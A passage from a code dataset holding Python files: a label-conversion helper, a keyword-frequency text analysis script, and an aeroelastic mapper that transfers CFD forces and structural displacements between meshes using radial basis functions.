\"capital_a_input\":\"A\",\n \"capital_b_input\":\"B\",\n \"a_input\":\"a\",\n \"b_input\":\"b\",\n \"capital_h_input\":\"H\",\n \"cg_factor_input\":\"CG factor\",\n \"cgz_factor_input\":\"CG z.factor\",\n \"h_1_input\":\"h\\u2081\", \n\n }\n try:\n return conversion[cur_input]\n except:\n #in case the conversion is not listed here \n return cur_input \n\ndef outputs(cur_output):\n \"\"\"\n Gives verbose output\n \"\"\"\n conversion = {\n 'z_h_output': \"z\\u2095\",\n 'cgy_output': \"CGy\",\n 'cgx1_output': 'CGx\\u2081',\n 'cgx2_output': 'CGx\\u2082',\n 't_max_1_output': 'Tmax\\u2081',\n 't_max_2_output': 'Tmax\\u2082',\n 't_u1_output': \"Tu\\u2081 - Direction X\",\n 't_u2_output': \"Tu\\u2082 - Direction Y\",\n 't_u12_output': \"Tu\\u2081 - Direction X\",\n 't_u12_output': \"Tu\\u2082 - Direction Y\",\n }\n #convert, but if not then just return the output back \n try: return conversion[cur_output]\n except: return cur_output\n\n\ndef is_asd_output(output:str)->bool:\n \"\"\"\n Checks if the current output is asd \n \"\"\"\n allowed = [\n 't_max_1_output',\n 't_max_2_output'\n ]\n if output in allowed: return True\n else: return False \n\ndef is_lrfd_output(output:str)->bool:\n \"\"\"\n Checks if current output is lrfd\n \"\"\"\n allowed = [\n 't_u1_output',\n 't_u2_output',\n 't_u12_output',\n 't_u12_output',\n ]\n if output in allowed: return True \n else: return False \n\n \nif __name__ == \"__main__\":\n pass\n","sub_path":"dist/main_build/dependencies/verbose.py","file_name":"verbose.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"496191073","text":"#change the keys and values in this section to whatever you are searching for, you can add more as needed\na_dict = {\n 'Key1': ('value1','value2'),\n 'Key2': ('value3','value4'),\n 'Key3': ('value5','value6'),\n}\n\ndef percentage(part, whole):\n return 100 * float(part)/float(whole)\n\n#list all the tuples into a big fat list for one iteration\none_big_list = list(item for items in a_dict.values() for item in items)\n\n#build GUI for text file selection\nimport PySimpleGUI as sg \nwindow_rows = [[sg.Text('Please select a .txt file for analysis')], \n [sg.InputText(), sg.FileBrowse()], \n [sg.Submit(), sg.Cancel()]] \nwindow = sg.Window('SIMA', window_rows) \nevent, values = window.Read() \nwindow.Close()\nsource_filename = values[0] \n\n#Open selected text file and tokenize\nimport nltk \nfrom nltk import word_tokenize\nf = open(source_filename, encoding = 'ISO-8859-1')\nraw = f.read()\ntokens = nltk.word_tokenize(raw)\ntokens = nltk.wordpunct_tokenize(raw)\nimport string\ntable = str.maketrans ('', '', string.punctuation)\nwords = [w.translate(table) for w in tokens]\nwords = [word for word in tokens if word.isalpha()]\n\n#dictionary iteration party\nword_count_dict = {}\nwith open(source_filename, encoding='ISO-8859-1') as f:\n for line in f:\n for item in one_big_list:\n line_split = list(line.strip('\\n').split(' ')) \n if item in line_split:\n #print(f\"found {item} in {line}\") #uncomment to see line context\n if item not in word_count_dict.keys():\n word_count_dict[item] = line_split.count(item) \n else:\n word_count_dict[item] = word_count_dict[item] + line_split.count(item) \n\n#print(word_count_dict) #uncomment to see all tagged words and their counts\nideal_output = {}\nfor count in word_count_dict:\n for key, value in a_dict.items():\n if count in value:\n if key not in ideal_output:\n ideal_output[key] = word_count_dict.get(count) \n else:\n ideal_output[key] = ideal_output[key] + word_count_dict.get(count) \n \nfor item in ideal_output:\n string_list = [] \n tuple_of_words = a_dict[item]\n for entry in tuple_of_words:\n get_times_said = word_count_dict.get(entry)\n if get_times_said:\n string_list.append(f\"'{entry}': {get_times_said}\")\n\n print(f\"{item}: {ideal_output.get(item)} found, {round(percentage(ideal_output.get(item), len(words)), 2)}% of total words in document: {', '.join(string_list)}.\")\n","sub_path":"sima.py","file_name":"sima.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"649209123","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 4 13:56:01 2020\n\n@author: Jean-Philippe Kuntzer\n\nTODO: For the computation of the moment, distance must be computed in the x,y\n plane.\nTODO: verify the moment orientation\nTODO: set to 0 small values to speed up the code and limit error.\n\"\"\"\n\nimport logging\nimport numpy as np\nimport numpy.linalg as LA\nimport scipy as sp\nimport skspatial.objects as sk\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport pandas as pd\nimport time\nimport sys\nimport os\nimport fnmatch\n\nlogger = logging.getLogger(__name__)\n\n\nclass mapper:\n def __init__(self,forceFilePath,preMeshedStructre,csdSolverClassVar):\n \"\"\"\n Initialises the class and separes the wing points for enhanced quality\n results.\n \"\"\"\n # For debug purposes\n np.set_printoptions(precision=3)\n\n # Assembles matrices\n self.geo = preMeshedStructre\n self.geoP = preMeshedStructre.aircraftNodesPoints\n self.csd = csdSolverClassVar\n\n # Separates input points into each aircraft instance (fuselage, wings)\n SU2Data = pd.read_csv(forceFilePath)\n N = len(self.geo.aircraftPartsUIDs)\n logger.debug(N)\n aircraftPointsAndForcesCFD = []\n for i in range(N):\n logger.debug(i)\n aircraftPointsAndForcesCFD.append(SU2Data[SU2Data['marker'].str.contains(self.geo.aircraftPartsUIDs[i])].to_numpy())\n\n self.aircraftPartsNames = SU2Data[\"marker\"].unique()\n del(SU2Data)\n logger.debug(self.aircraftPartsNames)\n logger.debug(self.geo.aircraftPartsUIDs)\n self.order = []\n\n # Constructs a dictionary for ease of use when regrouping displacements\n for i in self.aircraftPartsNames:\n index = self.geo.aircraftPartsUIDs.index(i)\n logger.debug(index)\n self.order.append(index)\n\n def computesTransformationsMatrices(self,forceFilePath):\n \"\"\"\n Computes the transformation matrix in order for the mesh tranformation\n to follow the principle of virtual work.\n \"\"\"\n\n # Computes transformations matrices\n self.iM = []\n self.A = []\n self.H = []\n\n # For debugging\n self.dzsGlob = []\n self.dzaGlob = []\n\n # Updates aircraftPointsAndForcesCFD\n SU2Data = pd.read_csv(forceFilePath)\n N = len(self.geo.aircraftPartsUIDs)\n logger.debug(N)\n aircraftPointsAndForcesCFD = []\n for i in range(N):\n logger.debug(i)\n aircraftPointsAndForcesCFD.append(SU2Data[SU2Data['marker'].str.contains(self.geo.aircraftPartsUIDs[i])].to_numpy())\n\n # Computes the matrix M and then invert it for each aircraft part.\n for i in range(len(self.aircraftPartsNames)):\n # permitted choices are: G,L,TPS,HMQ,HIMQ,C0,C2,C4,C6,EH. See the\n # function below for the definition of the shape functions.\n fun = \"L\"\n n = self.geoP[i].shape\n n = n[0]\n\n # Computes the distance matrix for the radial basis function\n # computation\n X = self.geoP[i]\n r = sp.spatial.distance.cdist(X,X,\"euclidean\")\n # Computes the radial basis function matrix \"M\" in the report\n Mbeam = self.phi(r,fun)\n self.iM.append(np.linalg.inv(Mbeam))\n\n # Computes the matrix Q which is also the matrix A transposed in\n # this specific case.\n X = self.geoP[i]\n Y = aircraftPointsAndForcesCFD[i][:,1:4]\n r = sp.spatial.distance.cdist(X,Y,\"euclidean\")\n # Computes the radial basis function matrix \"Q\" in the report\n Q = self.phi(r,fun)\n self.A.append(Q.T)\n self.H.append(np.matmul(self.A[i],self.iM[i]))\n\n logger.debug(\"A \"+str(self.A[i].shape))\n logger.debug(\"iM\"+str(self.iM[i].shape))\n logger.debug(\"H \"+str(self.H[i].shape))\n\n # Computes the distances from the leading edge for each point. This\n # computation result is necessary for the moments computation.\n # self.computeMoments(forceFilePath)\n # logger.info(\"Finised computing distance matrix\")\n \n # Finds wings nodes close tu fuselage in order to correct the mesh\n # rotation\n # self.findCloseToWing(forceFilePath)\n \n # Frees memory. not sure it is still needed\n del(SU2Data)\n\n def phi(self,r,fun):\n \"\"\"\n Set of radial basis functions that the user can choose of. After some\n test \"Wendland C2\" seems to be the better choice, but this is really\n up to user preference.\n \"\"\"\n eps = 10\n # r = np.linalg.norm(x1-x2)\n if fun == \"G\":\n # Gaussian\n phi_x = np.exp(-eps*r**2)\n elif fun == \"L\":\n # Linear\n phi_x = r\n elif fun == 'cubic':\n # Cubic\n phi_x = r**3\n elif fun == \"TPS\":\n # Thin plate spline\n phi_x = r**2 * np.log(r)\n elif fun == \"Po4\":\n # Polyharmonic spline\n phi_x = r**3 * np.log(r**r)\n elif fun == \"Po4\":\n # Polyharmonic spline\n phi_x = r**5 * np.log(r**r)\n elif fun == \"HMQ\":\n # Hardy's multiquadratic\n phi_x = (eps**2 + r**2)**0.5\n elif fun == \"HIMQ\":\n # Hardy's inverse multiquadratic\n phi_x = 1/(eps**2 + r**2)**0.5\n elif fun == \"C0\":\n # Wendland's C0\n phi_x = (1-r)**2\n elif fun == \"C2\":\n # Wendland's C2\n phi_x = (1-r)**4 * (4*r + 1)\n elif fun == \"C4\":\n # Wendland's C4\n phi_x = (1-r)**6 * (35*r**2 + 18*r + 3)\n elif fun == \"C6\":\n # Wendland's C6\n phi_x = (1-r)**8 * (32*r**3 + 25*r**2 + 8*r + 1)\n elif fun == \"EH\":\n # Euclid's hat\n phi_x = np.pi*((1/12*r**3) - r*eps**2 + 4/3*eps**3)\n return phi_x\n \n def aeroToStructure(self,args,forceFilePath,iteration):\n \"\"\"\n Compute the forces for the structure solver from the CFD solver resutls.\n \"\"\"\n logger.debug(\"aeroToStructure\")\n # structure forces\n self.sfx = []\n self.sfy = []\n self.sfz = []\n self.smx = []\n self.smy = []\n self.smz = []\n\n # Aerodynamics forces\n self.afx = []\n self.afy = []\n self.afz = []\n\n # Updates aircraftPointsAndForcesCFD\n SU2Data = pd.read_csv(forceFilePath)\n N = len(self.geo.aircraftPartsUIDs)\n logger.debug(N)\n aircraftPointsAndForcesCFD = []\n for i in range(N):\n logger.debug(i)\n aircraftPointsAndForcesCFD.append(SU2Data[SU2Data['marker'].str.contains(self.geo.aircraftPartsUIDs[i])].to_numpy())\n\n # separates froces for each wings\n N = len(self.aircraftPartsNames)\n for i in range(N):\n self.afx.append(aircraftPointsAndForcesCFD[i][:,4])\n self.afy.append(aircraftPointsAndForcesCFD[i][:,5])\n self.afz.append(aircraftPointsAndForcesCFD[i][:,6])\n # logger.debug(self.afx[0].shape)\n # logger.debug(self.afx[1].shape)\n # logger.debug(self.afx[2].shape)\n # logger.debug(self.afx[3].shape)\n # Calls the function in order to compute the moment generated by each\n # force on the wing.\n self.computeMoments(forceFilePath)\n\n # Computes the forces that act on the structure\n Fx = 0\n Fy = 0\n Fz = 0\n for i in range(N):\n # Computes the forces\n self.sfx.append(np.matmul(self.H[i].T,self.afx[i]))\n self.sfy.append(np.matmul(self.H[i].T,self.afy[i]))\n self.sfz.append(np.matmul(self.H[i].T,self.afz[i]))\n # Computes the moment part due to the aerodynamic force\n self.smx.append(np.matmul(self.H[i].T,self.amx[i]))\n self.smy.append(np.matmul(self.H[i].T,self.amy[i]))\n self.smz.append(np.matmul(self.H[i].T,self.amz[i]))\n \n # sums all the aerodynamic forces\n Fx += np.sum(self.afx[i])\n Fy += np.sum(self.afx[i])\n Fz += np.sum(self.afx[i])\n \n # Swept wing have a tendency to increase the central lift\n M = int(np.floor(len(self.sfx[i])/2))\n # Damps the inital and final jump\n self.sfx[i][0] = self.sfx[i][1]#*0\n self.sfx[i][-1] = self.sfx[i][-2]#*0\n self.sfx[i][M] = self.sfx[i][M-1]\n self.sfy[i][0] = self.sfy[i][1]#*0\n self.sfy[i][-1] = self.sfy[i][-2]#*0\n self.sfy[i][M] = self.sfy[i][M-1]\n self.sfz[i][0] = self.sfz[i][1]#*0\n self.sfz[i][-1] = self.sfz[i][-2]#*0\n self.sfz[i][M] = self.sfz[i][M-1]\n \n # Damps the inital and final jump\n self.smx[i][0] = self.smx[i][1]#*0\n self.smx[i][-1] = self.smx[i][-2]#*0\n self.smx[i][M] = self.smx[i][M-1]\n self.smy[i][0] = self.smy[i][1]#*0\n self.smy[i][-1] = self.smy[i][-2]#*0\n self.smy[i][M] = self.smy[i][M-1]\n self.smz[i][0] = self.smz[i][1]#*0\n self.smz[i][-1] = self.smz[i][-2]#*0\n self.smz[i][M] = self.smz[i][M-1]\n \n logger.debug(self.amy)\n logger.debug(self.smy)\n\n # Saves data for verificaiton\n df = pd.DataFrame()\n # Structure mesh node position\n df['x'] = self.geo.aircraftNodesPoints[0][:,0]\n df['y'] = self.geo.aircraftNodesPoints[0][:,1]\n df['z'] = self.geo.aircraftNodesPoints[0][:,2]\n # Forces\n df['Fx'] = pd.Series(self.sfx[0])\n df['Fy'] = pd.Series(self.sfy[0])\n df['Fz'] = pd.Series(self.sfz[0])\n # Moments/Torques\n df['Mx'] = pd.Series(self.smx[0])\n df['My'] = pd.Series(self.smy[0])\n df['Mz'] = pd.Series(self.smz[0])\n df.to_csv(args.cwd + '/CSD/results/FEM_frocesAndMoments'+str(iteration)+'.csv')\n \n if self.geo.settings['1G']:\n n = 1.0\n a_x = 0\n a_y = 0\n a_z = -9.81\n else:\n n = Fz/(self.geo.aircraftTotalMass * 9.81)\n a_x = Fx / self.geo.aircraftTotalMass\n a_y = Fy / self.geo.aircraftTotalMass\n a_z = n - 1\n # n = 0\n self.G = round(n,2)\n # logger.debug('a_x = ' + str(a_x))\n # logger.debug('a_y = ' + str(a_y))\n # logger.debug('a_z = ' + str(a_z))\n logger.debug('If G activated and 1G not activated G = '+str(self.G))\n logger.debug('Only used if G_load:true and 1G:false')\n # logger.debug('mass = ' + str(self.geo.aircraftTotalMass))\n # sys.exit()\n # Computes the force due to inertia on each strcutre node\n self.smf = []\n N = len(self.geo.aircraftSegementsMass)\n for i in range(N):\n # Since there is one more point then segment we need to add one at\n # the end.\n M = len(self.geo.aircraftSegementsMass[i]) + 1\n force = np.empty((M,3))\n for j in range(M):\n # loadFactor\n # Each node supports half of the weight to the left and half\n # to the right. This explains why the first and last nodes\n # support half the value of the mass.\n if j == 0:\n massRight = self.geo.aircraftSegementsMass[i][j]\n # Inertial force in the x direction, earth reference frame\n force[j,0] = 1 * massRight * a_x * 0\n # Inertial force in the x direction, earth reference frame\n force[j,1] = 1 * massRight * a_y * 0\n # Inertial force in the x direction, earth reference frame\n force[j,2] = 0.5 * massRight * n * 9.81\n elif j == M-1:\n massLeft = self.geo.aircraftSegementsMass[i][j-1]\n # Inertial force in the x direction, earth reference frame\n force[j,0] = 1 * massLeft * a_x * 0\n # Inertial force in the x direction, earth reference frame\n force[j,1] = 1 * massLeft * a_y * 0\n # Inertial force in the x direction, earth reference frame\n force[j,2] = 0.5 * massLeft * n * 9.81\n else:\n massRight = self.geo.aircraftSegementsMass[i][j]\n massLeft = self.geo.aircraftSegementsMass[i][j-1]\n # Inertial force in the x direction, earth reference frame\n force[j,0] = 0.5 * massRight * a_x * 0 + \\\n 0.5 * massLeft * a_x * 0 \n # Inertial force in the x direction, earth reference frame\n force[j,1] = 0.5 * massRight * a_y * 0 + \\\n 0.5 * massLeft * a_y * 0\n # Inertial force in the x direction, earth reference frame\n force[j,2] = 0.5 * massRight * n * 9.81 + \\\n 0.5 * massLeft * n * 9.81\n \n self.smf.append(force)\n # logger.debug(self.smf)\n # sys.exit()\n \n\n # Computes the moment due to inertia on each strcture node\n # for i i\n N = len(self.geo.aircraftMassDistances)\n self.smm = []\n for i in range(N):\n # Since there is one more point then segments we need to add one at\n # the end.\n M = len(self.geo.aircraftMassDistances[i])\n # logger.debug(M)\n # logger.debug(len(self.smf[i]))\n # sys.exit()\n moments = np.empty((M,3))\n for j in range(M):\n # WARNING only the vertical direction is implemented.\n dx = self.geo.aircraftMassDistances[i][j,0]\n dy = self.geo.aircraftMassDistances[i][j,1]\n dz = self.geo.aircraftMassDistances[i][j,2]\n moments[j,0] = 0\n moments[j,1] = np.sign(dx)*np.sqrt(dx**2 + dy**2) * self.smf[i][j,2]\n moments[j,2] = 0\n self.smm.append(moments)\n\n # logger.debug(moments)\n # sys.exit()\n # Computes the total of each force and moment in order to have an idea\n # of the information loss between two steps.\n self.totalAerodynamicFx = np.sum(self.afx)\n self.totalAerodynamicFy = np.sum(self.afy)\n self.totalAerodynamicFz = np.sum(self.afz)\n self.totalAerodynamicMx = np.sum(self.amx)\n self.totalAerodynamicMy = np.sum(self.amy)\n self.totalAerodynamicMz = np.sum(self.amz)\n self.totalStructureFx = np.sum(self.sfx)\n self.totalStructureFy = np.sum(self.sfy)\n self.totalStructureFz = np.sum(self.sfz)\n self.totalStructureMx = np.sum(self.smx)\n self.totalStructureMy = np.sum(self.smy)\n self.totalStructureMz = np.sum(self.smz)\n # logger.debug('Conservation of forces and moments')\n # logger.debug('\\n'*5)\n # logger.debug(np.sum(self.afx))\n # logger.debug(np.sum(self.sfx))\n # logger.debug(np.sum(self.afy))\n # logger.debug(np.sum(self.sfy))\n # logger.debug(np.sum(self.afz))\n # logger.debug(np.sum(self.sfz))\n # logger.debug('\\n'*5)\n # logger.debug(np.sum(self.amx))\n # logger.debug(np.sum(self.smx))\n # logger.debug(np.sum(self.amy))\n # logger.debug(np.sum(self.smy))\n # logger.debug(np.sum(self.amz))\n # logger.debug(np.sum(self.smz))\n\n def computeMoments(self,forceFilePath):\n \"\"\"\n 1) Retrieves the forces\n 2) Retrieves the points\n 3) Compute the distance between this point force location and all the\n lines nodes points location.\n 4) Select the three closest points.\n 5) Computes the point projection on both segments and on the closest\n point. Retrives: dx,dy,dz\n 6) Select if the current point projection is one of the following\n three cases:\n 1. On the real segement for both secments\n 2. Only on one segment\n 3. On no segment and hence exactly the distance is taken from\n the exact projection\n 7) Computes the moment\n \"\"\"\n # Updates aircraftPointsAndForcesCFD\n SU2Data = pd.read_csv(forceFilePath)\n N = len(self.geo.aircraftPartsUIDs)\n logger.debug(N)\n aircraftPointsAndForcesCFD = []\n for i in range(N):\n logger.debug(i)\n aircraftPointsAndForcesCFD.append(SU2Data[SU2Data['marker'].str.contains(self.geo.aircraftPartsUIDs[i])].to_numpy())\n\n N = len(aircraftPointsAndForcesCFD)\n self.distanceMatrix = []\n self.amx = []\n self.amy = []\n self.amz = []\n for i in range(N):\n M = len(aircraftPointsAndForcesCFD[i])\n X = aircraftPointsAndForcesCFD[i][:,1:4]\n Y = self.geo.aircraftNodesPoints[i]\n\n # Computes the distance between each point of X and each point of\n # Y. This leads to an (NxM) matrix, M being the number of structure\n # nodes points.\n dist = sp.spatial.distance.cdist(X,Y,\"euclidean\")\n # distances in the x,y,z coordinates in the airplane reference\n # frame.\n self.distanceMatrix.append(np.empty((M,3)))\n # Finds the minimal 3 values\n # logger.debug(dist)\n \n for j in range(M):\n point = aircraftPointsAndForcesCFD[i][j,1:4]\n point = point.astype('float64')\n # point[1] = np.around(point[1],6)\n # logger.debug(\"point = \\n\"+str(point))\n indexes = np.argsort(dist[j])[:3]\n # Stores the 3 points of interest\n p1 = self.geo.aircraftNodesPoints[i][indexes[0]]\n p2 = self.geo.aircraftNodesPoints[i][indexes[1]]\n p3 = self.geo.aircraftNodesPoints[i][indexes[2]]\n\n # Computes the two lines direction vectors\n # p1 will always be the closest structure point hence he will\n # be in the middle. Little drawing of what it looks like in\n # space below\n #\n # (P2 or P3) (P1)\n # \n # (P2 or P3)\n v12 = sk.Vector(p2-p1)\n v23 = sk.Vector(p3-p1)\n # logger.debug('Vectors')\n # logger.debug(v12)\n # logger.debug(v23)\n \n line1 = sk.Line(point=p2, direction=v12)\n line2 = sk.Line(point=p2, direction=v23)\n # logger.debug('lines')\n # logger.debug(line1)\n # logger.debug(line2)\n \n proj1 = line1.project_point(point)\n proj2 = line2.project_point(point)\n # logger.debug('Projected points+')\n # logger.debug(proj1)\n # logger.debug(proj2)\n \n # Computes the distance between the projected point and the\n # most far away point. This permetis to test if the projection\n # is still on the structural mesh or not\n distP1Proj1 = LA.norm(p2 - proj1)\n distP1P2 = LA.norm(p1 - p2)\n distP3Proj2 = LA.norm(p3 - proj2)\n distP2P3 = LA.norm(p1 - p3)\n # logger.debug('Projected points distance to center and to relative point')\n # logger.debug(distP1Proj1)\n # logger.debug(distP1P2)\n # logger.debug(distP3Proj2)\n # logger.debug(distP2P3)\n\n # the two selected segments are parallel.\n if proj1[0] == proj2[0] and \\\n proj1[1] == proj2[1] and \\\n proj1[2] == proj2[2]:\n delta = -(point - proj1)\n\n # both projected points are on the mesh, we need to take the\n # the one that has the least distance to the line.\n elif distP1Proj1 < distP1P2 and distP3Proj2 < distP2P3:\n norm1 = LA.norm(point - proj1)\n norm2 = LA.norm(point - proj2)\n norms = np.array([norm1,norm2])\n projs = np.array([proj1,proj2])\n delta = -(point - projs[np.argmin(norms)])\n\n # line 2 projected point is outside the mesh but not the line 1\n # projected point.\n elif distP1Proj1 > distP1P2 and distP3Proj2 < distP2P3:\n delta = -(point - proj1)\n\n # line 1 projected point is outside the mesh but not the line 2\n # projected point.\n elif distP1Proj1 < distP1P2 and distP3Proj2 > distP2P3:\n delta = -(point - proj2)\n\n # line 1 projected point is outside the mesh and the line 2\n # projected point is also outside the structure mesh.\n elif distP1Proj1 > distP1P2 and distP3Proj2 > distP2P3:\n delta = -(point - p1)\n self.distanceMatrix[i][j] = np.array([delta[0],delta[1],delta[2]])\n # logger.debug(self.distanceMatrix)\n # logger.debug(self.wingsPoints[i])\n \n # Computes the moment on the beam generated by all the forces.\n # logger.debug(self.afx[i])\n # logger.debug(self.afy[i])\n # logger.debug(self.afz[i])\n \n # In the airplane reference frame. in straight level flight\n # wind is positive in the x direction and the wings span\n # is in the y direction.\n self.amx.append(self.distanceMatrix[i][:,2]*self.afy[i] + # OK\n self.distanceMatrix[i][:,1]*self.afz[i]) # OK\n self.amy.append(self.distanceMatrix[i][:,0]*self.afz[i]) # + # OK\n # self.distanceMatrix[i][:,2]*self.afx[i]) # OK\n self.amz.append(self.distanceMatrix[i][:,0]*self.afy[i] + # OK\n self.distanceMatrix[i][:,1]*self.afx[i]) # OK\n # for x, y, z in zip(self.distanceMatrix[i][:,0], self.afz[i], self.amy[i]):\n # logger.debug(str(x) + ' ' + str(y) + ' ' + str(z))\n # logger.debug(np.sum(self.amy[i]))\n # sys.exit()\n\n def structureToAero(self,args,iteration,forceInitFilePath,forceFilePath):\n \"\"\"\n Converts the displacements from the structure mesh to the aerodynamic\n mesh.\n \"\"\"\n\n # structure displacements\n self.sux = []\n self.suy = []\n self.suz = []\n self.stx = []\n self.sty = []\n self.stz = []\n\n # aerodynamic displacements\n self.aux = []\n self.auy = []\n self.auz = []\n self.atx = []\n self.aty = []\n self.atz = []\n\n # number of beams\n N = len(self.geoP)\n # logger.debug(\"N = \"+str(N))\n old = 0\n\n # Separates the results for each wing. This leads to an amazing quality\n # jump in the simulation results.\n for i in range(N):\n # Number of node for each beams\n # logger.debug()\n M = len(self.geoP[i])\n # if i == 1:\n # corrDelta = self.csd.results.get('tensors').get('comp:U')[\"uz\"][old+int(np.ceil(M/2))]\n # corrTheta = self.csd.results.get('tensors').get('comp:U')[\"thy\"][old+int(np.ceil(M/2))]\n # else:\n # corrDelta = 0\n # corrTheta = 0\n self.sux.append(self.csd.results.get('tensors').get('comp:U')[\"ux\"][old:old+M])\n self.suy.append(self.csd.results.get('tensors').get('comp:U')[\"uy\"][old:old+M])\n self.suz.append(self.csd.results.get('tensors').get('comp:U')[\"uz\"][old:old+M]) \n\n self.stx.append(self.csd.results.get('tensors').get('comp:U')[\"thx\"][old:old+M])\n self.sty.append(self.csd.results.get('tensors').get('comp:U')[\"thy\"][old:old+M])\n self.stz.append(self.csd.results.get('tensors').get('comp:U')[\"thz\"][old:old+M])\n old += M\n \n # saves the results\n df = pd.DataFrame()\n df['x'] = self.geo.aircraftNodesPoints[0][:,0]\n df['y'] = self.geo.aircraftNodesPoints[0][:,1]\n df['z'] = self.geo.aircraftNodesPoints[0][:,2]\n # WARNING change of reference frame\n df['dx'] = self.suy[0]\n df['dy'] = self.sux[0]\n df['dz'] = self.suz[0]\n df['tx'] = self.sty[0]\n df['ty'] = self.stx[0]\n df['tz'] = self.stz[0]\n df.to_csv(args.cwd + '/CSD/results/FEM_displacementAndRotations'+str(iteration)+'.csv')\n \n # Computes the aerodynamic displacements and the aerodynamic angles\n for i in range(N):\n if i == 1:\n coef = 0.05\n else:\n coef = 0\n self.aux.append(np.matmul(self.H[i],self.sux[i]) - coef)\n self.auy.append(np.matmul(self.H[i],self.suy[i]) - coef)\n self.auz.append(np.matmul(self.H[i],self.suz[i]) - coef)\n\n self.atx.append(np.matmul(self.H[i],self.stx[i]) - coef)\n self.aty.append(np.matmul(self.H[i],self.sty[i]) - coef)\n self.atz.append(np.matmul(self.H[i],self.stz[i]) - coef)\n\n # Assembles the displacements into a big vector\n SU2Data = pd.read_csv(forceFilePath)\n size = len(SU2Data)\n self.displacements = np.empty((size,3))\n logger.debug(self.displacements.shape)\n N = len(self.geoP) # in the optimale case N=4\n\n # Assembles the displacements\n ind = self.order[0] # CFD mesh index\n logger.debug(ind)\n dmx = self.aty[ind] * self.distanceMatrix[ind][:,2] + \\\n self.atz[ind] * self.distanceMatrix[ind][:,1]\n dmy = self.atx[ind] * self.distanceMatrix[ind][:,2] + \\\n self.atz[ind] * self.distanceMatrix[ind][:,0]\n dmz = self.atx[ind] * self.distanceMatrix[ind][:,1] + \\\n self.aty[ind] * self.distanceMatrix[ind][:,0]\n dfx = self.aux[ind]\n dfy = self.auy[ind]\n dfz = self.auz[ind]\n for i in range(1,N):\n ind = self.order[i] # CFD mesh index\n logger.debug(ind)\n logger.debug(type(ind))\n dmxi = self.aty[ind] * self.distanceMatrix[ind][:,2] + \\\n self.atz[ind] * self.distanceMatrix[ind][:,1]\n dmx = np.concatenate((dmx,dmxi))\n dfx = np.concatenate((dfx,self.aux[ind]))\n\n dmyi = self.atx[ind] * self.distanceMatrix[ind][:,2] + \\\n self.atz[ind] * self.distanceMatrix[ind][:,0]\n dmy = np.concatenate((dmy,dmyi))\n dfy = np.concatenate((dfy,self.auy[ind]))\n\n dmzi = self.atx[ind] * self.distanceMatrix[ind][:,1] + \\\n self.aty[ind] * self.distanceMatrix[ind][:,0]\n dmz = np.concatenate((dmz,dmzi))\n dfz = np.concatenate((dfz,self.auz[ind]))\n self.displacements = np.array([dmx+dfx,dmy+dfy,dmz+dfz]).T\n # self.displacements = np.array([dfx,dfy,dfz]).T\n\n # Generates the deformation file\n # 'GlobalID_' +\n # New x,y,z positions\n N = len(self.displacements)\n # logger.debug(np.arange(N))\n # idx = str()\n # idx = ['GlobalID_' + str(x) for x in np.arange(N)]\n idx = [str(x) for x in np.arange(N)]\n start = 0 # 9136\n idx = np.array(idx[start:])\n logger.debug(idx)\n const = 1\n # some_value = 'Wing'\n # var = SU2Data.loc[self.SU2_forces['marker'] == some_value]\n SU2DataInit = pd.read_csv(forceInitFilePath)\n x = SU2DataInit[\"x\"] + const*self.displacements[start:,0]\n y = SU2DataInit[\"y\"] + const*self.displacements[start:,1]\n z = SU2DataInit[\"z\"] + const*self.displacements[start:,2]\n \n # X = np.array([x,y,z])\n # logger.debug(X)\n # s = X.shape\n # X = X.T.reshape(s[1],s[0])\n # X = X[self.wingCTFIndexes]\n # u,s,vh = np.linalg.svd(X)\n # logger.debug(vh)\n # sys.exit()\n \n path = os.path.join(self.geo.inputArgs.cwd,'CFD')\n caseName = os.listdir(path)\n caseName = fnmatch.filter(caseName, 'Case*')\n logger.debug(caseName)\n fname = path + '/' + caseName[0] + '/' + str(iteration) + '/disp.dat'\n logger.debug('filename: \\n'+str(fname))\n # X = np.array()\n np.savetxt(fname,np.column_stack([idx,x,y,z]),delimiter='\\t',fmt='%s')\n\n # Plots\n self.plotting = False\n if self.plotting:\n fig = plt.figure('figure 2')\n ax = fig.add_subplot(111, projection='3d')\n old = 0\n # for j in range(len(self.aircraftPartsNames)):\n # ax.scatter(self.aircraftPointsAndForcesCFD[j][:,1],\n # self.aircraftPointsAndForcesCFD[j][:,2],\n # self.aircraftPointsAndForcesCFD[j][:,3],\n # label=self.geo.aircraftPartsUIDs[j])\n ax.scatter(SU2Data[start:,'x'],\n SU2Data[start:,'y'],\n SU2Data[start:,'z'],\n label='undeformed')\n\n ax.scatter(SU2Data[start:,'x'] + self.displacements[start:,0],\n SU2Data[start:,'y'] + self.displacements[start:,1],\n SU2Data[start:,'z'] + self.displacements[start:,2],\n label='deformed')\n val = 15\n ax.set_xlim(-val,val)\n ax.set_ylim(-val,val)\n ax.set_zlim(-val,val)\n ax.legend()\n plt.show()\n del(SU2Data)\n\n def findCloseToWing(self,forceFilePath):\n \"\"\"\n \n\n Parameters\n ----------\n forceFilePath : TYPE\n DESCRIPTION.\n\n Returns\n -------\n None.\n\n \"\"\"\n # Separates the uids\n SU2Data = pd.read_csv(forceFilePath)\n N = len(self.geo.aircraftPartsUIDs)\n aircraftPointsAndForcesCFD = []\n\n for i in range(N):\n logger.debug(i)\n aircraftPointsAndForcesCFD.append(SU2Data[SU2Data['marker'].str.contains(self.geo.aircraftPartsUIDs[i])].to_numpy())\n logger.debug(aircraftPointsAndForcesCFD[0])\n \n # Stores fuselage points\n fuselagePoints = aircraftPointsAndForcesCFD[0][:,1:4]\n \n # Stores wing points\n wingPoints = aircraftPointsAndForcesCFD[1][:,1:4]\n \n # Compute the distance between each fuselage point to each wing point.\n # This is and NxM matrix with N number of fuselage points and M nbr.\n # of wing points.\n distance = sp.spatial.distance.cdist(fuselagePoints, wingPoints)\n # logger.debug(distance.shape)\n # logger.debug(distance)\n \n # Finds the the minimum distance between each fuselage point and the\n # the closest wing point.\n distanceFusePTWing = np.min(distance,axis=0)\n # Finds the the minimum distance between each wing point and the\n # the closest wing point.\n distanceWingPTFuse = np.min(distance,axis=1)\n # logger.debug(distanceFusePTWing.shape)\n # logger.debug(distanceWingPTFuse.shape)\n \n \n # 